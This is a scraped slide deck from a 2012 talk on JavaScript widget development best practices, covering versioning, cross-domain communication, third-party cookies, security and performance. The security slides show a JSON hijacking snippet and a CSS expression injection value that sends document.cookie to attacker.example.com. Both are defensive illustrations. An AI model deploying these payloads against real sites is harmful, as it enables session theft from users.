SlideShare a Scribd company logo
1 of 28
JavaScript Widget
Development Best
    Practices
   Volkan Özçelik

   volkan@o2js.com

                     2012-07-29 @ jstanbul
               http://jstanbul.org/2012
Who am I?

• CTO, cember.net (%100 acquired by Xing AG; RIP)

• Project Director, livego.com (gone to deadpool, RIP)

• CO-VP of Technology, grou.ps ( http://grou.ps/ )

• JavaScript Engineer, SocialWire ( http://socialwire.com/ )

• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
Other Places to Find Me

• http://github.com/v0lkan

• http://geekli.st/volkan

• http://twitter.com/linkibol

• http://linkd.in/v0lkan
Outline
• What is a Widget? / Types of Widgets
• Challenges Involved
  •   Versioning
  •   You are not the host, you are the thief.
  •   Shared Environment
  •   Bumping the Cross-Domain Wall
  •   Not Your Grandma’s Cookies
  •   Security
  •   Performance

• Questions
tar -zxvf 30Min.gz



http://bit.ly/js-widget
 (work in progress)
tar -zxvf 30Min.gz




https://github.com/v0lkan/o2.js/tr
  ee/master/examples/widget-demo
What is a Widget?

• A Distributed Plugin
  • Source Site ( widget provider )
  • Consumer Sites ( publishers )

• Can have a GUI ( weather forecast )

• May not have GUI too ( analytics, statistics )

• Can be Stateful

• Can be Stateless
Versioning Hassle

• Types of Versioning:
  • URL Versioning
  • Version Number as an Init Parameter

• If it ain’t broke, they won’t fix it.
  • When’s the last time you updated that Wordpress theme?
  • Nobody will change that darn version number!
Versioning Hassle
• google‘s ga.js 2 hour cache time;
• Facebook‘s all.js  15 minute cache time;
• twitter‘s widgets.js  30 minute cache time.


                    What part of
            “Far Future Expires Header”
               don’t you understand?!
Versioning Hassle
• Far Future Expires Header
• Self Cache-Revalidating Scripts:
  • A Bootloader Script
  • A JavaScript Beacon:
    • Returns 204 No Content if versions match,
    • Returns an auto-loader if versions do not match.
      • Iframe Refresh
      • window.location.reload(true)
Widget Initialization Flow
Act, but don’t be Seen

• You don’t own publisher’s DOM.

• Leave minimal trace behind.

• Do not slow down publisher.

• Do not pollute global namespace.
Act, but don’t be Seen
• Do not extend Object.prototype or Function.prototype.

• Show love to the Module Pattern.

• Do not slow down publisher:
  • Async initialization,
  • Lazy Load.

• Do not slow down yourself:
  • Native is faster,
  • Use IDs everywhere.
Environment is Shared

• Prefix everything.

• I mean… everything!
Environment is Shared
Cross Domain Boundary
• Modern Methods
 • CORS
 • HTML5 window.postMessage API

• Hacks
 •   Flash Proxy
 •   Hash Fragment Transport
 •   window.name Transport
 •   Iframe inside an Iframe (klein bottle)
 •   Use Publisher’s Server as a Proxy
 •   JSON with Padding
Third Party Cookies

• Can be disabled by default.

• Users may explicitly disable them.

• Ad blocker browser plugins may disable them.

• You cannot rely on their existence.
Third Party Cookies

• Meaning of ‚disabled‛ varies too
  • Firefox & Opera:
    • Server cannot read, client cannot write
    • We’re tossed! (or are we?)
  • IE:
    • Server can read, client cannot write
  • Webkit (Chrome & Safari):
    • Server can read,
    • client can ‚kinda‛ write (iframe post hack)
Third Party Cookies

• Check for 3rd Party Cookie Support First
    • Don’t jump straight into hacks.

• External Windows as a Rescue
  • A pop-up is considered ‚first party‛

• What about Opera & Firefox ?
  • Store session ID as a variable.
  • Pass to the server at each request.
  • Do not store on publisher’s page!
    • Use an IFRAME on API domain for security.
Widget Security

• Bottom Line Up Front
 •   Sanitize everything.
 •   First deny everything, then whitelist known good.
 •   Check referrers, have a list of trusted domains.
 •   Do not trust anyone.

                                        function Anyone(){}
                                      function Publisher(){}
                         Publisher.prototype = new Anyone();
Widget Security
• XSS
  •   Sanitize everything.
  •   Escape < > ; , ‘ ‚ into HTML entities.

• CSRF
  •   Use a CSRF token.

• Denial of Service
  •   Subdomains per publisher ( publisher1.api.example.com ).
  •   Throttle suspicious requests per subdomain.
  •   Best handled on network / hardware layer.

• Session Hijacking
  •   … is a reality.
  •   The only reasonable protection is HTTPS.
  •   Use Multi-Level Authentication.
Widget Security (lesser known)

JSON Hijacking
<script>
var captured = [];
function Array() {
    for (var i = 0; i < 3; i++) {
        this[i] setter = function(val)
                         { captured.push(val); };
    }
}
</script>
<script src="http://api.example.com/products.json"></script>
Widget Security (lesser known)

CSS Expression Hijacking



         var _wd_borderColor =
'#000;x:expression(var i = new Image;
i.src="http://attacker.example.com/?" +
          document.cookie);';
Widget Security (lesser known)

Clickjacking
• Invisible IFRAME positioned on a UI element.

Remedy:

• Framekiller scripts

• X-Frame-Options header

• Request confirmation for sensitive actions

• Register all your publishers
Widget Performance
• Minimize Initial Payload:
  • Tiny boot loader, then load dependencies.

• Lazy load when possible.
• Combine and Minify Assets.
• Use CSS Sprites.
• Defer images (use a default image, then load
  original).
• Minimize # of HTTP Requests.
Widget Performance

• Minimize Repaint and Reflow.

• Rate-limit Server Requests (throttle, debounce).

• Yield with setTimeout(fn, 0).

• Chunk large arrays of instructions.

• Improve Perceived Performance:
  • Be an optimist: act, then verify.
Widget Performance
•   Do not micro-optimize,
•   Do not optimize prematurely,
•   Optimizing without measurement is misleading,
•   It’s hard to measure a third party widget’s performance.
    •   A lot of moving parts involved.
    •   Tools like jsperf.com will not be of much use.
    •   Do not use your 8GB Ram + SSD MacBook for profiling.
    •   Test on an low-grade machine.
• Do not forget mobile!
Thank You!



 Questions?

More Related Content

What's hot

Modern iframe programming
Modern iframe programmingModern iframe programming
Modern iframe programmingbenvinegar
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript TestingjQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript TestingVlad Filippov
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"Andi Rustandi Djunaedi
 
Bringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkersBringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkersCorey Clark, Ph.D.
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...Corey Clark, Ph.D.
 
Selenium testing
Selenium testingSelenium testing
Selenium testingJason Myers
 
Testing Single Page Webapp
Testing Single Page WebappTesting Single Page Webapp
Testing Single Page WebappAkshay Mathur
 
In-browser storage and me
In-browser storage and meIn-browser storage and me
In-browser storage and meJason Casden
 
Avoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.jsAvoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.jsAlex Speller
 
ClubAJAX Basics - Server Communication
ClubAJAX Basics - Server CommunicationClubAJAX Basics - Server Communication
ClubAJAX Basics - Server CommunicationMike Wilcox
 
Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010jeresig
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016Matt Raible
 
jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010jeresig
 
Re-Introduction to Third-party Scripting
Re-Introduction to Third-party ScriptingRe-Introduction to Third-party Scripting
Re-Introduction to Third-party Scriptingbenvinegar
 
Next generation frontend tooling
Next generation frontend toolingNext generation frontend tooling
Next generation frontend toolingpksjce
 
Build the mobile web you want
Build the mobile web you wantBuild the mobile web you want
Build the mobile web you wantk88hudson
 
JSFoo-2017 Takeaways
JSFoo-2017 TakeawaysJSFoo-2017 Takeaways
JSFoo-2017 TakeawaysMir Ali
 
Automated Testing with Cucumber, PhantomJS and Selenium
Automated Testing with Cucumber, PhantomJS and SeleniumAutomated Testing with Cucumber, PhantomJS and Selenium
Automated Testing with Cucumber, PhantomJS and SeleniumDev9Com
 

What's hot (20)

Modern iframe programming
Modern iframe programmingModern iframe programming
Modern iframe programming
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript TestingjQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript Testing
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
 
Bringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkersBringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkers
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
 
Selenium testing
Selenium testingSelenium testing
Selenium testing
 
Testing Single Page Webapp
Testing Single Page WebappTesting Single Page Webapp
Testing Single Page Webapp
 
In-browser storage and me
In-browser storage and meIn-browser storage and me
In-browser storage and me
 
Webdriver.io
Webdriver.io Webdriver.io
Webdriver.io
 
Avoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.jsAvoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.js
 
ClubAJAX Basics - Server Communication
ClubAJAX Basics - Server CommunicationClubAJAX Basics - Server Communication
ClubAJAX Basics - Server Communication
 
Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010
 
Blazor v1.1
Blazor v1.1Blazor v1.1
Blazor v1.1
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
 
jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010
 
Re-Introduction to Third-party Scripting
Re-Introduction to Third-party ScriptingRe-Introduction to Third-party Scripting
Re-Introduction to Third-party Scripting
 
Next generation frontend tooling
Next generation frontend toolingNext generation frontend tooling
Next generation frontend tooling
 
Build the mobile web you want
Build the mobile web you wantBuild the mobile web you want
Build the mobile web you want
 
JSFoo-2017 Takeaways
JSFoo-2017 TakeawaysJSFoo-2017 Takeaways
JSFoo-2017 Takeaways
 
Automated Testing with Cucumber, PhantomJS and Selenium
Automated Testing with Cucumber, PhantomJS and SeleniumAutomated Testing with Cucumber, PhantomJS and Selenium
Automated Testing with Cucumber, PhantomJS and Selenium
 

Similar to External JavaScript Widget Development Best Practices (updated) (v.1.1)

External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesVolkan Özçelik
 
Android lessons you won't learn in school
Android lessons you won't learn in schoolAndroid lessons you won't learn in school
Android lessons you won't learn in schoolMichael Galpin
 
Usersnap and the javascript magic behind the scenes - ViennaJS
Usersnap and the javascript magic behind the scenes - ViennaJSUsersnap and the javascript magic behind the scenes - ViennaJS
Usersnap and the javascript magic behind the scenes - ViennaJSUsersnap
 
How to Contribute to Apache Usergrid
How to Contribute to Apache UsergridHow to Contribute to Apache Usergrid
How to Contribute to Apache UsergridDavid M. Johnson
 
Do you lose sleep at night?
Do you lose sleep at night?Do you lose sleep at night?
Do you lose sleep at night?Nathan Van Gheem
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceKrzysztof Kotowicz
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesYury Chemerkin
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
 
A 20 minute introduction to AngularJS for XPage developers
A 20 minute introduction to AngularJS for XPage developersA 20 minute introduction to AngularJS for XPage developers
A 20 minute introduction to AngularJS for XPage developersMark Leusink
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
 
Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Ganesh Kondal
 
Streams API (Web Engines Hackfest 2015)
Streams API (Web Engines Hackfest 2015)Streams API (Web Engines Hackfest 2015)
Streams API (Web Engines Hackfest 2015)Igalia
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0Itzik Kotler
 
Masterin Large Scale Java Script Applications
Masterin Large Scale Java Script ApplicationsMasterin Large Scale Java Script Applications
Masterin Large Scale Java Script ApplicationsFabian Jakobs
 
Selenium Tips & Tricks - StarWest 2015
Selenium Tips & Tricks - StarWest 2015Selenium Tips & Tricks - StarWest 2015
Selenium Tips & Tricks - StarWest 2015Andrew Krug
 
Доклад Михаила Егорова на PHDays
Доклад Михаила Егорова на PHDaysДоклад Михаила Егорова на PHDays
Доклад Михаила Егорова на PHDaysru_Parallels
 

Similar to External JavaScript Widget Development Best Practices (updated) (v.1.1) (20)

External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
 
orcreatehappyusers
orcreatehappyusersorcreatehappyusers
orcreatehappyusers
 
orcreatehappyusers
orcreatehappyusersorcreatehappyusers
orcreatehappyusers
 
Android lessons you won't learn in school
Android lessons you won't learn in schoolAndroid lessons you won't learn in school
Android lessons you won't learn in school
 
Usersnap and the javascript magic behind the scenes - ViennaJS
Usersnap and the javascript magic behind the scenes - ViennaJSUsersnap and the javascript magic behind the scenes - ViennaJS
Usersnap and the javascript magic behind the scenes - ViennaJS
 
How to Contribute to Apache Usergrid
How to Contribute to Apache UsergridHow to Contribute to Apache Usergrid
How to Contribute to Apache Usergrid
 
Do you lose sleep at night?
Do you lose sleep at night?Do you lose sleep at night?
Do you lose sleep at night?
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
A 20 minute introduction to AngularJS for XPage developers
A 20 minute introduction to AngularJS for XPage developersA 20 minute introduction to AngularJS for XPage developers
A 20 minute introduction to AngularJS for XPage developers
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5
 
Streams API (Web Engines Hackfest 2015)
Streams API (Web Engines Hackfest 2015)Streams API (Web Engines Hackfest 2015)
Streams API (Web Engines Hackfest 2015)
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0
 
Angular SEO
Angular SEO Angular SEO
Angular SEO
 
Masterin Large Scale Java Script Applications
Masterin Large Scale Java Script ApplicationsMasterin Large Scale Java Script Applications
Masterin Large Scale Java Script Applications
 
20120306 dublin js
20120306 dublin js20120306 dublin js
20120306 dublin js
 
Selenium Tips & Tricks - StarWest 2015
Selenium Tips & Tricks - StarWest 2015Selenium Tips & Tricks - StarWest 2015
Selenium Tips & Tricks - StarWest 2015
 
Доклад Михаила Егорова на PHDays
Доклад Михаила Егорова на PHDaysДоклад Михаила Егорова на PHDays
Доклад Михаила Егорова на PHDays
 

Recently uploaded

Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...CzechDreamin
 
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)Julian Hyde
 
How we scaled to 80K users by doing nothing!.pdf
How we scaled to 80K users by doing nothing!.pdfHow we scaled to 80K users by doing nothing!.pdf
How we scaled to 80K users by doing nothing!.pdfSrushith Repakula
 
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...FIDO Alliance
 
Using IESVE for Room Loads Analysis - UK & Ireland
Using IESVE for Room Loads Analysis - UK & IrelandUsing IESVE for Room Loads Analysis - UK & Ireland
Using IESVE for Room Loads Analysis - UK & IrelandIES VE
 
Structuring Teams and Portfolios for Success
Structuring Teams and Portfolios for SuccessStructuring Teams and Portfolios for Success
Structuring Teams and Portfolios for SuccessUXDXConf
 
Extensible Python: Robustness through Addition - PyCon 2024
Extensible Python: Robustness through Addition - PyCon 2024Extensible Python: Robustness through Addition - PyCon 2024
Extensible Python: Robustness through Addition - PyCon 2024Patrick Viafore
 
TopCryptoSupers 12thReport OrionX May2024
TopCryptoSupers 12thReport OrionX May2024TopCryptoSupers 12thReport OrionX May2024
TopCryptoSupers 12thReport OrionX May2024Stephen Perrenod
 
Designing for Hardware Accessibility at Comcast
Designing for Hardware Accessibility at ComcastDesigning for Hardware Accessibility at Comcast
Designing for Hardware Accessibility at ComcastUXDXConf
 
Intro in Product Management - Коротко про професію продакт менеджера
Intro in Product Management - Коротко про професію продакт менеджераIntro in Product Management - Коротко про професію продакт менеджера
Intro in Product Management - Коротко про професію продакт менеджераMark Opanasiuk
 
The Metaverse: Are We There Yet?
The  Metaverse:    Are   We  There  Yet?The  Metaverse:    Are   We  There  Yet?
The Metaverse: Are We There Yet?Mark Billinghurst
 
WSO2CONMay2024OpenSourceConferenceDebrief.pptx
WSO2CONMay2024OpenSourceConferenceDebrief.pptxWSO2CONMay2024OpenSourceConferenceDebrief.pptx
WSO2CONMay2024OpenSourceConferenceDebrief.pptxJennifer Lim
 
How Red Hat Uses FDO in Device Lifecycle _ Costin and Vitaliy at Red Hat.pdf
How Red Hat Uses FDO in Device Lifecycle _ Costin and Vitaliy at Red Hat.pdfHow Red Hat Uses FDO in Device Lifecycle _ Costin and Vitaliy at Red Hat.pdf
How Red Hat Uses FDO in Device Lifecycle _ Costin and Vitaliy at Red Hat.pdfFIDO Alliance
 
1111 ChatGPT Prompts PDF Free Download - Prompts for ChatGPT
1111 ChatGPT Prompts PDF Free Download - Prompts for ChatGPT1111 ChatGPT Prompts PDF Free Download - Prompts for ChatGPT
1111 ChatGPT Prompts PDF Free Download - Prompts for ChatGPTiSEO AI
 
PLAI - Acceleration Program for Generative A.I. Startups
PLAI - Acceleration Program for Generative A.I. StartupsPLAI - Acceleration Program for Generative A.I. Startups
PLAI - Acceleration Program for Generative A.I. StartupsStefano
 
WebAssembly is Key to Better LLM Performance
WebAssembly is Key to Better LLM PerformanceWebAssembly is Key to Better LLM Performance
WebAssembly is Key to Better LLM PerformanceSamy Fodil
 
FDO for Camera, Sensor and Networking Device – Commercial Solutions from VinC...
FDO for Camera, Sensor and Networking Device – Commercial Solutions from VinC...FDO for Camera, Sensor and Networking Device – Commercial Solutions from VinC...
FDO for Camera, Sensor and Networking Device – Commercial Solutions from VinC...FIDO Alliance
 
Microsoft CSP Briefing Pre-Engagement - Questionnaire
Microsoft CSP Briefing Pre-Engagement - QuestionnaireMicrosoft CSP Briefing Pre-Engagement - Questionnaire
Microsoft CSP Briefing Pre-Engagement - QuestionnaireExakis Nelite
 
ECS 2024 Teams Premium - Pretty Secure
ECS 2024   Teams Premium - Pretty SecureECS 2024   Teams Premium - Pretty Secure
ECS 2024 Teams Premium - Pretty SecureFemke de Vroome
 
Powerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara LaskowskaPowerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara LaskowskaCzechDreamin
 

Recently uploaded (20)

Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
 
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
 
How we scaled to 80K users by doing nothing!.pdf
How we scaled to 80K users by doing nothing!.pdfHow we scaled to 80K users by doing nothing!.pdf
How we scaled to 80K users by doing nothing!.pdf
 
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...
 
Using IESVE for Room Loads Analysis - UK & Ireland
Using IESVE for Room Loads Analysis - UK & IrelandUsing IESVE for Room Loads Analysis - UK & Ireland
Using IESVE for Room Loads Analysis - UK & Ireland
 
Structuring Teams and Portfolios for Success
Structuring Teams and Portfolios for SuccessStructuring Teams and Portfolios for Success
Structuring Teams and Portfolios for Success
 
Extensible Python: Robustness through Addition - PyCon 2024
Extensible Python: Robustness through Addition - PyCon 2024Extensible Python: Robustness through Addition - PyCon 2024
Extensible Python: Robustness through Addition - PyCon 2024
 
TopCryptoSupers 12thReport OrionX May2024
TopCryptoSupers 12thReport OrionX May2024TopCryptoSupers 12thReport OrionX May2024
TopCryptoSupers 12thReport OrionX May2024
 
Designing for Hardware Accessibility at Comcast
Designing for Hardware Accessibility at ComcastDesigning for Hardware Accessibility at Comcast
Designing for Hardware Accessibility at Comcast
 
Intro in Product Management - Коротко про професію продакт менеджера
Intro in Product Management - Коротко про професію продакт менеджераIntro in Product Management - Коротко про професію продакт менеджера
Intro in Product Management - Коротко про професію продакт менеджера
 
The Metaverse: Are We There Yet?
The  Metaverse:    Are   We  There  Yet?The  Metaverse:    Are   We  There  Yet?
The Metaverse: Are We There Yet?
 
WSO2CONMay2024OpenSourceConferenceDebrief.pptx
WSO2CONMay2024OpenSourceConferenceDebrief.pptxWSO2CONMay2024OpenSourceConferenceDebrief.pptx
WSO2CONMay2024OpenSourceConferenceDebrief.pptx
 
How Red Hat Uses FDO in Device Lifecycle _ Costin and Vitaliy at Red Hat.pdf
How Red Hat Uses FDO in Device Lifecycle _ Costin and Vitaliy at Red Hat.pdfHow Red Hat Uses FDO in Device Lifecycle _ Costin and Vitaliy at Red Hat.pdf
How Red Hat Uses FDO in Device Lifecycle _ Costin and Vitaliy at Red Hat.pdf
 
1111 ChatGPT Prompts PDF Free Download - Prompts for ChatGPT
1111 ChatGPT Prompts PDF Free Download - Prompts for ChatGPT1111 ChatGPT Prompts PDF Free Download - Prompts for ChatGPT
1111 ChatGPT Prompts PDF Free Download - Prompts for ChatGPT
 
PLAI - Acceleration Program for Generative A.I. Startups
PLAI - Acceleration Program for Generative A.I. StartupsPLAI - Acceleration Program for Generative A.I. Startups
PLAI - Acceleration Program for Generative A.I. Startups
 
WebAssembly is Key to Better LLM Performance
WebAssembly is Key to Better LLM PerformanceWebAssembly is Key to Better LLM Performance
WebAssembly is Key to Better LLM Performance
 
FDO for Camera, Sensor and Networking Device – Commercial Solutions from VinC...
FDO for Camera, Sensor and Networking Device – Commercial Solutions from VinC...FDO for Camera, Sensor and Networking Device – Commercial Solutions from VinC...
FDO for Camera, Sensor and Networking Device – Commercial Solutions from VinC...
 
Microsoft CSP Briefing Pre-Engagement - Questionnaire
Microsoft CSP Briefing Pre-Engagement - QuestionnaireMicrosoft CSP Briefing Pre-Engagement - Questionnaire
Microsoft CSP Briefing Pre-Engagement - Questionnaire
 
ECS 2024 Teams Premium - Pretty Secure
ECS 2024   Teams Premium - Pretty SecureECS 2024   Teams Premium - Pretty Secure
ECS 2024 Teams Premium - Pretty Secure
 
Powerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara LaskowskaPowerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara Laskowska
 

External JavaScript Widget Development Best Practices (updated) (v.1.1)

  • 1. JavaScript Widget Development Best Practices Volkan Özçelik volkan@o2js.com 2012-07-29 @ jstanbul http://jstanbul.org/2012
  • 2. Who am I? • CTO, cember.net (%100 acquired by Xing AG; RIP) • Project Director, livego.com (gone to deadpool, RIP) • CO-VP of Technology, grou.ps ( http://grou.ps/ ) • JavaScript Engineer, SocialWire ( http://socialwire.com/ ) • J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
  • 3. Other Places to Find Me • http://github.com/v0lkan • http://geekli.st/volkan • http://twitter.com/linkibol • http://linkd.in/v0lkan
  • 4. Outline • What is a Widget? / Types of Widgets • Challenges Involved • Versioning • You are not the host, you are the thief. • Shared Environment • Bumping the Cross-Domain Wall • Not Your Grandma’s Cookies • Security • Performance • Questions
  • 7. What is a Widget? • A Distributed Plugin • Source Site ( widget provider ) • Consumer Sites ( publishers ) • Can have a GUI ( weather forecast ) • May not have GUI too ( analytics, statistics ) • Can be Stateful • Can be Stateless
  • 8. Versioning Hassle • Types of Versioning: • URL Versioning • Version Number as an Init Parameter • If it ain’t broke, they won’t fix it. • When’s the last time you updated that Wordpress theme? • Nobody will change that darn version number!
  • 9. Versioning Hassle • google‘s ga.js 2 hour cache time; • Facebook‘s all.js  15 minute cache time; • twitter‘s widgets.js  30 minute cache time. What part of “Far Future Expires Header” don’t you understand?!
  • 10. Versioning Hassle • Far Future Expires Header • Self Cache-Revalidating Scripts: • A Bootloader Script • A JavaScript Beacon: • Returns 204 No Content if versions match, • Returns an auto-loader if versions do not match. • Iframe Refresh • window.location.reload(true)
  • 12. Act, but don’t be Seen • You don’t own publisher’s DOM. • Leave minimal trace behind. • Do not slow down publisher. • Do not pollute global namespace.
  • 13. Act, but don’t be Seen • Do not extend Object.prototype or Function.prototype. • Show love to the Module Pattern. • Do not slow down publisher: • Async initialization, • Lazy Load. • Do not slow down yourself: • Native is faster, • Use IDs everywhere.
  • 14. Environment is Shared • Prefix everything. • I mean… everything!
  • 16. Cross Domain Boundary • Modern Methods • CORS • HTML5 window.postMessage API • Hacks • Flash Proxy • Hash Fragment Transport • window.name Transport • Iframe inside an Iframe (klein bottle) • Use Publisher’s Server as a Proxy • JSON with Padding
  • 17. Third Party Cookies • Can be disabled by default. • Users may explicitly disable them. • Ad blocker browser plugins may disable them. • You cannot rely on their existence.
  • 18. Third Party Cookies • Meaning of ‚disabled‛ varies too • Firefox & Opera: • Server cannot read, client cannot write • We’re tossed! (or are we?) • IE: • Server can read, client cannot write • Webkit (Chrome & Safari): • Server can read, • client can ‚kinda‛ write (iframe post hack)
  • 19. Third Party Cookies • Check for 3rd Party Cookie Support First • Don’t jump straight into hacks. • External Windows as a Rescue • A pop-up is considered ‚first party‛ • What about Opera & Firefox ? • Store session ID as a variable. • Pass to the server at each request. • Do not store on publisher’s page! • Use an IFRAME on API domain for security.
  • 20. Widget Security • Bottom Line Up Front • Sanitize everything. • First deny everything, then whitelist known good. • Check referrers, have a list of trusted domains. • Do not trust anyone. function Anyone(){} function Publisher(){} Publisher.prototype = new Anyone();
  • 21. Widget Security • XSS • Sanitize everything. • Escape < > ; , ‘ ‚ into HTML entities. • CSRF • Use a CSRF token. • Denial of Service • Subdomains per publisher ( publisher1.api.example.com ). • Throttle suspicious requests per subdomain. • Best handled on network / hardware layer. • Session Hijacking • … is a reality. • The only reasonable protection is HTTPS. • Use Multi-Level Authentication.
  • 22. Widget Security (lesser known) JSON Hijacking <script> var captured = []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } } </script> <script src="http://api.example.com/products.json"></script>
  • 23. Widget Security (lesser known) CSS Expression Hijacking var _wd_borderColor = '#000;x:expression(var i = new Image; i.src="http://attacker.example.com/?" + document.cookie);';
  • 24. Widget Security (lesser known) Clickjacking • Invisible IFRAME positioned on a UI element. Remedy: • Framekiller scripts • X-Frame-Options header • Request confirmation for sensitive actions • Register all your publishers
  • 25. Widget Performance • Minimize Initial Payload: • Tiny boot loader, then load dependencies. • Lazy load when possible. • Combine and Minify Assets. • Use CSS Sprites. • Defer images (use a default image, then load original). • Minimize # of HTTP Requests.
